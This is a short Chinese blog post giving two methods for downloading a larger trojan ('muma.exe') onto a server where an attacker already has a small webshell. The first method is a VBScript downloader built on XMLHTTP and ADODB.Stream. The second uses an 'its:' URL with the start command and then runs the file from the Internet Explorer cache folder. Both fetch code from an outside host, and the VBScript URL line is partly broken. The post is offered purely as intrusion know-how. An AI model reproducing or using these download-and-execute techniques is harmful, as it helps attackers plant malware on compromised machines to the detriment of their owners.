2款经典且另类的拉大马方法
转载请注明出处hi.baidu.com/biweilun!
拉大马的方法很多,比如小马拉大马,TFTP,FTP ==== 我就不说这些了,说点别的,小菜值得一看,这里都是适用于已经有小shell的情况
1、VBS下载法
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "muma.exe",2
将上述代码保存为download.vbs,然后执行cscript download.vbs就行了。http://www.biweilun.cn/muma.exe改成你放文件的网站路径,muma.exe可以改成保存为本机文件的路径。
2、START ITS:HTTP://www.biweilun.cn/muma.exe
这一种方法不是很常见的,非常值得学习!
然后cd "C:Documents and SettingsDefault UserLocal SettingsTemporary Internet FilesContent.IE5",接着运行 文件名[1],这里系统会自动为下好的文件+上一个 [1]的,比如本例就是muma[1].exe。
您阅读此文共耗时分秒